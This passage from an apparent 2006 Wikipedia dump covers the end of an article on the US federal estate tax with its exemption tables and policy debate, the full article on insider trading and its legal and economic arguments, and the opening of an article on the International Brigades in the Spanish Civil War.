As noted above, life insurance benefits may be included in the gross estate (even though the proceeds arguably were not &quot;owned&quot; by the decedent and were never received by the decedent). Life insurance proceeds are generally included in the gross estate if the benefits are payable to the estate, or if the decedent was the owner of the life insurance policy or had any &quot;incidents of ownership&quot; over the life insurance policy (such as the power to change the beneficiary designation). Similarly, bank accounts or other financial instruments which are &quot;payable on death&quot; or &quot;transfer on death&quot; are usually included in the taxable estate, even though such assets are not subject to the [[probate]] process under state law.

====Deductions, the taxable estate, and the tentative tax====

Once the value of the &quot;gross estate&quot; is determined, the law provides for various &quot;deductions&quot; (in Part IV of Subchapter A of Chapter 11 of Subtitle B of the [[Internal Revenue Code]] in arriving at the value of the &quot;taxable estate.&quot; Deductions include but are not limited to:

*Funeral expenses, administration expenses, and claims against the estate (see {{usc|26|2053}});

*Certain [[charity|charitable]] contributions (see {{usc|26|2055}});

*Certain items of property left to the surviving spouse (see {{usc|26|2056}}).

After subtracting the deduction amounts from the gross estate amount to arrive at the &quot;taxable estate&quot; amount, the tax rate is imposed on the value of the &quot;taxable estate&quot; to compute the tentative tax.

====Tax credit, the exemption equivalent, and the tax====

However, the law then provides for a credit against the tentative tax. The credit may be thought of as providing, in effect, for an &quot;exemption equivalent&quot; or [[tax exemption|exempted value]] with respect to the value of the property. For a person dying during 2005, an estate with a value less than $1,500,000 would not pay a federal estate tax and most likely would not have to file a federal estate tax return.  The applicable exclusion amount increases to $2,000,000 for decedents dying in the years 2006, 2007 and 2008.  The amount increases to $3,500,000 for 2009.  According to the Econonic Growth and Tax Relief Reconciliation Act of 2001, the federal estate tax disappears for the year 2010, but the tax returns in 2011 at the 2001 level.

====Requirements for filing return and paying tax====

For estates larger than the current federally exempted amount, any estate tax due is paid by the [[executor]] or other person responsible for administering the estate.  That person is also responsible for filing a Form 706 return with the [[Internal Revenue Service]]. The return must contain detailed information as to the valuations of the estate assets and the exemptions claimed, to ensure that the correct amount of tax is paid. 

====Criticisms of the Federal estate tax====

Many of its opponents refer to the estate tax as the &quot;[[death tax]]&quot; and have called for its abolition. Since 2003, the top rate has dropped from 50% by one percent per year; it is scheduled to drop to 45% in 2009, thence to 0% in 2010, but [[as of 2006]], if no further changes in the law are enacted, the tax will be reimposed at a top rate of 50% in 2011. It is possible, however, that Congress could act in the interim and extend the abolition of the estate tax indefinitely, and legislation has been introduced to this effect.

====Exemptions and tax rates====
&lt;div style=&quot;float:left; width:55%;&quot;&gt;
As noted above, a certain amount of each estate is exempted from taxation by the federal government. Below is a table of the amount of exemption by year an estate would expect. Estates above these amounts would be subject to estate tax, but only for the amount above the exemption.

For example, assume an estate of $3.5 million in 2005. There are two beneficiaries who will each receive equal shares of the estate. The maximum allowable credit is $1.5 million for that year, so the taxable value is therefore $2 million. Since it is 2005, the tax rate on that $2 million is 47%, so the total taxes paid would be $940,000. Each beneficiary will receive $750,000 of untaxed inheritance and $530,000 from the taxable portion of their inheritance for a total of $1,280,000. This means that they would have paid (or, more precisely, the estate would have paid) a taxable rate of 26.9%.

&lt;/div&gt;&lt;div style=&quot;float:right; width:40%; margin: 0.5em; padding: 0.5em; border: 1px solid #8888aa; &quot;&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;
&lt;td rowspan=&quot;2&quot;&gt;Year
&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td colspan=&quot;2&quot; rowspan=&quot;2&quot;&gt;
&lt;p align=&quot;center&quot;&gt;Max. Estate&lt;br&gt;Tax Credit
&lt;/p&gt;
&lt;/td&gt;
&lt;td colspan=&quot;2&quot; rowspan=&quot;2&quot;&gt;
&lt;p align=&quot;center&quot;&gt;Marginal Tax&lt;br&gt;
Rate&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2002&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td &gt;$1 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td &gt;50%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;
&lt;/td&gt;

&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2003&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$1 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;
&lt;/td&gt;
&lt;td&gt;49%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;
&lt;/td&gt;

&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2004&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$1.5 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;48%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;

&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2005&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$1.5 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;
&lt;/td&gt;
&lt;td&gt;47%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;

&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2006&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$2 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;46%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;

&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2007&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$2 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;45%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;

&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2008&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$2 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;45%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;

&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2009&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$3.5 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;45%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;

&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2010&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;repealed&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;

&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;

===Inheritance tax at the state level===

Many U.S. states also impose their own estate or inheritance taxes (see [[Ohio estate tax]] for an example).  Some states &quot;piggyback&quot; on the federal estate tax law in regard to estates subject to tax (i.e., if the estate is exempt from federal taxation, it is also exempt from state taxation).  Some states' estate taxes, however, operate independently of federal law, so it is possible for an estate to be subject to state tax while exempt from federal tax.

===Debate===
The propriety of the estate tax has been debated extensively. Opponents argue that the Federal estate tax rate is effectively higher as a percentage of the amount actually transferred to heirs. For example, an estate worth $3.5 million paid $940,000 federal estate tax in order to transfer $1,280,000 to each heir, suggesting an effective transfer tax rate of 36.7%. Similarly, at the limit, the top federal tax rate of 50% on the estate value would imply a transfer tax rate of 100% of the amount transferred to heirs. The high effective transfer tax rate has prompted many wealthy benefactors to make sizable gifts during their lifetime, paying a [[gift tax]] on the amount transferred, rather than allow the whole amount to be taxed at the estate level.

Some argue that the estate tax creates a potential for double taxation, that is, taxation on assets which have already been taxed.  Double taxation occurs on earned income, but not the unrealized capital appreciation of [[houses]], [[farms]], [[stock]]s, [[bond]]s, [[real estate]], and [[collecting|collectibles]] such as works of art.  [[FactCheck.org]] cites a 2000 study of 1998 estate taxation, which determined that unrealized capital gains made up 36.3% of the value of all estates in 1998, and 56.4% of estates worth more than $10 million (but without taking into account yearly increases of inflation).  
&lt;div style=&quot;float:left; width:48%;&quot;&gt;
The debate sometimes revolves around which estates are affected by current law.  The effects of the law on small business owners and family-owned farms (entities which, conservatives argue, are hardest hit by the estate tax) was studied in an analysis undertaken by the [[Tax Policy Center]].  A study of the 18,800 taxable estates taxed in 2004 found 7,090 which had any farm or business income.  Of those, there were 440 estates in which half or more of its assets were the value of farms and/or businesses. The effective tax rate on the 440 estates studied in detail never averaged more than 23%.  

Proponents of the estate tax argue that it serves to prevent the perpetuation of wealth, free of tax, in wealthy families and that it is necessary to a system of [[progressive taxation]].  Proponents point out that the estate tax only affects estates of considerable size and provides numerous credits (including the unified credit) that allow a significant portion of even large estates to escape taxation.  Regarding the tax's effect on farmers, proponents counter that this criticism is misguided as there is an exemption built into the law that is specifically designed for family-owned farms.

&lt;/div&gt;&lt;div style=&quot;float:right; width:48%; margin: 0.5em; padding: 0.5em; border: 1px solid #8888aa; &quot;&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;
&lt;td rowspan=&quot;2&quot;&gt;Estate value
&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td colspan=&quot;2&quot; rowspan=&quot;2&quot;&gt;
&lt;p align=&quot;center&quot;&gt;Number of &lt;br&gt;
returns&lt;/p&gt;
&lt;/td&gt;
&lt;td colspan=&quot;2&quot; rowspan=&quot;2&quot;&gt;
&lt;p align=&quot;center&quot;&gt;Average tax&lt;br&gt;
(in thousands)&lt;/p&gt;
&lt;/td&gt;
&lt;td colspan=&quot;2&quot; rowspan=&quot;2&quot;&gt;
&lt;p align=&quot;center&quot;&gt;Effective&lt;br&gt;
tax rate&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt; $1 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td &gt;0&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td &gt;$0&lt;/td&gt;
&lt;td&gt;&lt;br&gt;
&lt;/td&gt;
&lt;td&gt;0.0%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$1 - $2 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;190&lt;/td&gt;
&lt;td&gt;&lt;br&gt;
&lt;/td&gt;
&lt;td&gt;$26&lt;/td&gt;
&lt;td&gt;&lt;br&gt;
&lt;/td&gt;
&lt;td&gt;1.6%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$2 - $3.5 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;60&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$190&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;7.5%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$3.5 - $5 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;&lt;br&gt;
&lt;/td&gt;
&lt;td&gt;$449&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;12.0%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$5 - $10 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$1,322&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;19.3%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$10 - $20 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$2,832&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;22.9%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;gt; $20 million&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$23,442&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;22.2%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;All&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;440&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;$2,238&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;19.9%&lt;/td&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;

Furthermore, supporters argue that many large fortunes do not represent taxed income or savings, that wealth is not being taxed but merely the transfer of that wealth, and that many large fortunes represent unrealized capital gains which with a [[step up in basis]], will never be taxed as capital gains under the federal income tax. Some even go further and suggest all transfers should be taxed, and that the large bequests to family foundations or private charities should be taxed and more heavily regulated.

===Related taxes===
The US also imposes a gift tax, assessed in a manner similar to the estate tax. One obvious purpose is to prevent a person from easily avoiding paying estate tax by giving away all of their assets during their lifetime. However, an exemption is available for transfers of up to $11,000 per person per year. A single donor can make gifts up to this amount to as many people as they wish each year, so if they have enough people they wish to give assets to and/or enough time, they may be able to reduce their estate enough to avoid estate tax.

Furthermore, transfers (whether by bequest, gift, or inheritance) in excess of $1 million may be subject to a [[generation-skipping transfer tax]] if certain other criteria are met.

==Further reading==
* Ian Shapiro and Michael J. Graetz, ''Death By A Thousand Cuts: The Fight Over Taxing Inherited Wealth'', Princeton University Press (February, 2005), hardcoveer, 372 pages, ISBN 0691122938
*William H. Gates, Sr. and Chuck Collins, with forward by former Federal Reserve Chairman Paul Volcker, ''Wealth and Our Commonwealth: Why America Should Tax Accumulated Fortunes'', Beacon Press (2003)

==External links==
* [http://www.lrb.co.uk/v27/n11/runc01_.html &quot;Tax Breaks for Rich Murderers&quot;], a June 2005 article from the ''[[London Review of Books]]'' by David Runciman
* [http://www.taxpolicycenter.org/TaxModel/tmdb/TMTemplate.cfm?DocID=734&amp;topic2ID=40&amp;topic3ID=41&amp;DocTypeID= Gross Estate and Net Estate Tax on Farms and Businesses in 2004], from the [[Tax Policy Center]] website
* [http://www.factcheck.org/article328m.html ...Ads exaggerate what the tax costs farmers, small businesses...], a June 2005 article from [[FactCheck.org]]


[[Category:Taxation]]

[[de:Erbschaftsteuer]]
[[fr:Droits de succession]]
[[he:מס ירושה]]
[[ru:Налог на наследство]]
[[nl:Schenkingsrecht]]</text>
    </revision>
  </page>
  <page>
    <title>Insider trading</title>
    <id>15368</id>
    <revision>
      <id>41921085</id>
      <timestamp>2006-03-02T17:05:14Z</timestamp>
      <contributor>
        <username>Smallbones</username>
        <id>612302</id>
      </contributor>
      <comment>intro</comment>
      <text xml:space="preserve">'''&quot;Insider trading&quot;''' is a term often used to refer to a practice, which is illegal in many jurisdictions, in which an investor trades [[security (finance)|securities]] of a company (''e.g.'', [[stock]]s, [[bond]]s or [[stock option]]s) based on material non-public information which was obtained by an officer, manager, or other corporate insider, during the performance of his duties at the corporation. More formally, it is simply the trading of corporate securities by corporate insiders, which is often perfectly legal.  All insider trades, whether legal or illegal, must be reported in the US.  Many investors follow the summaries of insider trades, published by the Securities and Exchanges Commission (SEC), in the hope that mimicking these trades will be profitable.  Legal &quot;insider trading&quot; may not be based on material non-public information.  Illegal insider trading in the US requires the participation (perhaps indirectly) of a corporate insider or other person who is violating his fiduciary duty to corporate shareholders by trading on or secretly relaying the corporation's information.  In some other countries an &quot;outsider&quot; who illegally obtains non-public information (which may constitute a separate offence of spying on trade secrets), might also be considered an illegal &quot;inside trader.&quot;


== Trading by &quot;insiders&quot; of a corporation ==
According to the U.S. SEC, corporate insiders are a company's officers, directors and any beneficial owners of more than ten percent of a class of the company's equity securities.

Since insiders are required to report their trades, others often track these traders, and there is a school of investing which follows the lead of insiders. This is of course subject to the risk that an insider is making a buy specifically to increase investor confidence, or making a sell for reasons unrelated to the health of the company (e.g. a desire to diversify or buy a house).  

As of December 2005 companies are required to announce times to their employees as to when they can safely trade without being accused of trading on inside information.

== Trading on material, non-public information ==

There are rules against this type of &quot;''insider trading''&quot; in most jurisdictions around the world, though the details and the efforts to enforce them vary considerably. In the [[United States]], for example, there is no general federal law directly prohibiting insider trading. Authority to prosecute cases of insider trading came from the [[Supreme Court of the United States]]' interpretation of Section 10(b) of the [[Securities Exchange Act of 1934]], and in particular of [[SEC Rule 10b-5]], prohibiting fraud in connection with the purchase or sale of securities (see ''Securities &amp; Exch. Comm'n v. Texas Gulf Sulphur Co.'', 258 F. Supp. 262 (S.D.N.Y. 1966)). Insider trading has been outlawed in the U.S. since the 1960's.

The reasoning is that a corporate insider has made a contract with the shareholders to put the shareholders' interests before their own, in matters related to the corporation.  When the insider buys based upon company owned information, he is violating his contract with the shareholders.

Liability for insider trading violations cannot be avoided by passing on the information in a &quot;I scratch your back, you scratch mine&quot; arrangement, as long as the person receiving the information knew or should have known that the information was company property.

An example of illegal insider trading may be that you, as an assistant to the [[chief executive officer]], learn that your company is going to be taken over before it is officially disclosed publicly. Knowing that such a move is likely to cause the price to rise, you buy shares in the company and subsequently profit from the transaction. A less dramatic (but still potentially lucrative) example would be trading on the quarterly earnings/losses shortly before they are announced.  

In practice, [[prosecution]]s for insider trading tend to be rare and difficult to win for a variety of reasons. It can be difficult to prove what the accused actually knew at the time the trades were made -- and people may not even be told directly but merely advised to buy or sell with a nudge and wink. Proving that someone has been responsible for a trade can also be difficult, because a clever trader can hide behind a variety of nominees, companies, and [[proxy|proxies]], perhaps located offshore in jurisdictions that do not cooperate with the local authorities. Insider trading is usually performed by the already wealthy, who can afford the best lawyers available and have the resources to drag a case out and cost the prosecutors millions along the way. Finally, the details of insider trading can be highly confusing to non-experts and convincing a randomly-selected [[jury]], many with no experience of share trading, that a crime has been committed can be difficult. The complexity may be because the transactions are inherently complicated, because the transactions were made so to evade prosecution, or as Brian Doherty claims in ''Reason'' magazine, because the regulations are &quot;designed, like most law, to be understood by trained professionals, not the citizens who have to live under it&quot; [http://reason.com/hod/bd062502.shtml].

== Arguments in favour of insider trading ==

Although insider trading is often illegal, there are arguments in its favour. Insider trading amounts to a consensual act between adults, i.e. a victimless act. A willing buyer and a willing seller agree to trade property which they rightfully own, with no prior contract having been made between the parties to refrain from trading if equal knowledge is not possessed. Hence, it is maintained that since traders willingly take the risk that the party on the others side of the trade is more knowledgeable, no one's rights are violated. 

Many argue that insider trading is not &quot;fair.&quot; However, those in favor of legalizing the practice hold that making money by having superior information is what trading is &quot;all about&quot;: A trader does not sell his stock unless he believes he knows information that is more indicative of the future move of a stock than his buyer, and vice versa. In effect, the same thing is happening whether the knowledge is &quot;inside information&quot; or not: someone always has superior knowledge than someone else. Hence, the stock market by nature is not &quot;fair&quot; whether insider trading is legal or not.

Insider trading can make markets more efficient by increasing the amount of information that is known about the company, and can motivate outsiders such as analysts to increase their knowledge about the company. The costs of complying with anti-insider-trading laws are also thus avoided. Nobel prize-winning economist [[Milton Friedman]] says: &quot;You want more insider trading, not less. You want to give the people most likely to have knowledge about deficiencies of the company an incentive to make the public aware of that.&quot; Friedman does not believe that the trader should be required to make his trade known to the public (to reveal his identity or the reason for his trade), but says that the buying or selling pressure itself is information for the market.  A practical counter-argument to this, however, might be empirical research purporting to show that those markets with strongly enforced laws against insider trading tend to have lower costs of capital for security issuers.  (See, for example, &quot;The World Price of Insider Trading&quot; by Utphal Bhattacharya and Hazem Daouk in the Journal of Finance, Vol. LVII, No. 1 (Feb. 2002). [http://faculty.fuqua.duke.edu/~charvey/Teaching/BA453_2005/BD_The_world.pdf])  In other words, where certain individuals are permitted to buy and sell shares based on inside information, other investors will be more wary and demand a premium for their investment.  This, in turn, raises the cost of capital for all issuers.

Some of those who favour regulations against insider trading assert that market liquidity comes from confidence that all participants have equal access to information. A counter-argument to this is that a significant motivation of trading is the belief on the part of a trader that he has better knowledge than others do in the market and that therefore a stock is improperly priced. If a stock was always accurately priced, there would no point in speculative trading, which would result in decreased liquidity in the market. 

Advocates of legalisation sometimes also make free speech arguments. Punishment for telling someone else about a development pertinent to the next day's likely stock moves would seem, [[prima facie]], to be one of prohibited speech, i.e. an act of censorship [http://www.walterblock.com/publications/information_privilege.pdf]. A counter-argument is that information being conveyed is akin to proprietary information and that a corporate insider, if he has contracted to not expose it, has no more of a free speech right to tell another individual about confidential information that insider acquired by ways of his or her position than to tell others about the company's new product designs, formulas, or bank account passwords. However, communicating inside information is illegal even if it's not by a corporate insider.

Also, there is the question of why what amounts to insider trading is legal in other markets, such as real estate, but not in the stock market. For example, if a geologist knows there is a high likelihood of the discovery of petroleum under Farmer Smith's land, he is entitled to make Smith an offer for the land, and buy it, without first telling Farmer Smith, or competing potential buyers, of the geological data and reasoning that justify his interest. If the value of the hidden oil can be acquired in such a manner in real estate transactions, some ask: why not unlock hidden values in the stock market through the same mechanism? 

Also, although on one hand there are no laws against insider trading in the commodities markets, on the other many activities such as [[front running]] are illegal. For example, a commodity broker can be charged with fraud if he or she  receives a large purchase order from a client (one likely to affect the price of that commodity) and then purchases that commodity before executing the client's order in order to benefit from the anticipated price increase.  Likewise, an individual employed by the U.S. Agricultural Department, for example, could be charged with fraud if he or she were to receive a draft of the Department's crop report before it is released to the public and then buy or sell commodities or futures contracts based on this non-public information. (This situation was implicit in the [[Eddie Murphy]] movie [[Trading Places]].)

== Legal differences among jurisdictions ==
The US and the UK vary in the way the law is interpreted and applied with regard to insider trading.

In the UK, the relevant laws are the [[Financial Services Act 1986]] and the [[Financial Services and Markets Act 2000]], which defines an offence of Market Abuse.

It is not illegal to fail to trade based on inside information (whereas without the inside information the trade would have taken place), since from a practical point of view this is too difficult to enforce.

It is often legal to deal ahead of a takeover bid, where a party deliberately buys shares in a company in the knowledge that it will be launching a takeover bid.

Japan enacted its first law against insider trading in 1988. Roderick Seeman says: &quot;Even today many Japanese do not understand why this is illegal. Indeed, previously it was regarded as common sense to make a profit from your knowledge.&quot; [http://www.japanlaw.info/law2004/JAPANBIZLAWLITE4GAIJIN_INSIDER_TRADING.html] Insider trading was made illegal in England in 1985. [http://www.cato.org/research/articles/reynolds-021024.html]

== References ==

Stephen M. Bainbridge, Securities Law: Insider Trading (1999)
ISBN: 1566627370

==External links==

=== General Information ===
*[http://www.sec.gov/answers/insider.htm Insider Trading Informational page from the U.S. Security and Exchange Commission (SEC)]
*[http://www.sec.gov/news/speech/speecharchive/1998/spch221.htm Insider Trading – A U.S. Perspective, Speech by SEC Staff at the 16th International Symposium on Economic Crime, Jesus College, Cambridge, England ]
*[http://www.sec.gov/answers/form345.htm SEC Forms 3, 4 and 5]

===Articles and Opinions ===
*[http://www.capmag.com/article.asp?ID=3933 An opinion on Why Insider Trading Should be Legal] [[Larry Elder]] Interviews Henry Manne
*[http://www.mayin.org/ajayshah/MEDIA/1998/insider.html Why forbid insider trading?] by Ajay Shah, consultant to the Ministry of Finance, India
*[http://www.walterblock.com/publications/information_privilege.pdf ''Information, Privilege, Opportunity and Insider Trading] by Robert W. Mcgee and Walter E. Block &amp;#8212; a scholarly work that opposes regulations against insider trading
*[http://www.townhall.com/columnists/thomassowell/ts20040422.shtml Criminalizing business] by [[Thomas Sowell]], argues against making insider trading a crime
*[http://www.secform4.com/training.htm Quick Insider Trading Guide]
*[http://www.investopedia.com/articles/02/061202.asp Uncovering Insider Trading]
*[http://reason.com/hod/bd062502.shtml ''Free Samuel Waksal''] argues that businessman's insider trading should not be considered a crime
*[http://moneycentral.msn.com/content/CNBCTV/Articles/TVReports/P42951.asp CNBC Interview with Milton Friedman] the Nobel prize-winning economist says that insider trading is good 

===Data===
*[http://www.insidernewswire.com/company.php Daily Top Ten Companies (by dollar value) traded by insiders]
*[http://www.insidernewswire.com/industry.php Daily Top Ten Industries (by dollar value) traded by insiders]
*[http://www.insidercow.com/ Insidercow.com] Free search insider trading by stock symbol
*[http://www.secform4.com/ Insider Trading Data], a Free Real Time Insider Trading Monitoring System
*[http://insider.thomsonfn.com/tfn/tearsheet/market.asp?linkcode=7rdcg6divt9fsuu5awkj&amp;tfnHeader=insider Tearsheets &amp;#8212; Company]

== See also ==
[[List of insider traders]]

[[Category:Stock market]]
[[Category:Crimes]]

[[de:Insiderhandel]]
[[fr:Délit d'initié]]
[[ja:&amp;#20869;&amp;#37096;&amp;#32773;&amp;#21462;&amp;#24341;]]
[[nl:handel met voorkennis]]</text>
    </revision>
  </page>
  <page>
    <title>International Brigades</title>
    <id>15369</id>
    <revision>
      <id>42082180</id>
      <timestamp>2006-03-03T18:29:41Z</timestamp>
      <contributor>
        <username>Mistereamonn</username>
        <id>1018666</id>
      </contributor>
      <comment>/* The battle of [[Jarama]] */</comment>
      <text xml:space="preserve">[[Image:International Brigades medal.PNG|thumbnail|150px|right|Blason of the International Brigades]]
:''&quot;Fifteenth International Brigade&quot; redirects here. For the song, see [[Fifteenth International Brigade (song)]]''
The '''International Brigades''' were [[Second Spanish Republic|Republican]] [[military]] units in the [[Spanish Civil War]], formed of many non-state sponsored volunteers of different countries who travelled to [[Spain]], to fight for the legitimate, elected government in the [[Spanish Civil War]] between [[1936]] and [[1939]]. They fought against Spanish [[Nationalist]] forces, who were led by General [[Francisco Franco]] and assisted by [[Nazi]] [[Nazi Germany|German]] and [[fascist]] [[Fascist Italy |Italian]] forces.

The Brigades recruited 40,000 men and women. As many as 10,000 of them never returned. More than 50 nationalities were represented in the Brigades: during the [[Battle of Madrid]] alone, the XIIth Brigade counted representatives from no fewer than 17 nationalities in its ranks.

== Constitution of the Brigades ==
[[Image:International Brigades poster3.jpg|thumbnail|right|Republican propaganda poster featuring the International Brigades. The text reads : &quot;Internationals, united with the Spanish people, we fight the invader&quot;. ]]
The idea to use foreign [[Communist party |Communist Parties]] to recruit volunteers (both Communist and non-Communists -- a non-Communist volunteer would first have an interview with an agent of the [[NKVD]]) to come to the aid of the [[Spanish Republic]] was proposed in [[Moscow]] in September 1936 by [[Willi Münzenberg]], who was the chief of [[Comintern]] propaganda for Western Europe (perhaps at the suggestion by [[Maurice Thorez]]). By the end of September, the [[Italy|Italian]] and [[France|French]] Communist Parties had decided to set up a column. [[Luigi Longo]], ex-leader of the Italian [[Communist Youth]], was charged to make the necessary arrangements with the Spanish government. The [[Soviet Union|Soviet]] Ministry of Defense also helped, since they had experience of dealing with corps of international volunteers (there had been precedents of such corps during the Russian Civil War). At first, the idea was opposed by [[Largo Caballero]], but after the first setbacks of the war, he changed his mind, and finally agreed to the operation on [[22 October]]. However, the [[Soviet Union]] did not withdraw from the [[Non-Intervention Committee]], probably to avoid diplomatic conflict with [[France]] and [[United Kingdom|Britain]].

[[Image:International Brigades poster2.jpg|thumbnail|165px|right|Republican propaganda poster. The text reads : &quot;The International Brigades, in the heart of the popular army, help to defend your wealth and land&quot;. Notice the arm-band which features the emblem of the International Brigades, a three-pointed red star.]]

The main recruitment centre was in [[Paris]], under the supervision of [[Poland|Polish]] communist colonel [[Karol Swierczewski|Karol &quot;Walter&quot; Swierczewski]]. On [[17 October]] [[1936]], an open letter by [[Stalin]] to [[José Díaz]] was published in ''Mundo Obrero'', arguing that liberation for Spain was a matter not only for Spaniards, but also for the whole of &quot;progressive Humanity&quot;; in a matter of days, support organisations for the Spanish Republic were founded in most countries, all more or less controlled by the [[Comintern]].

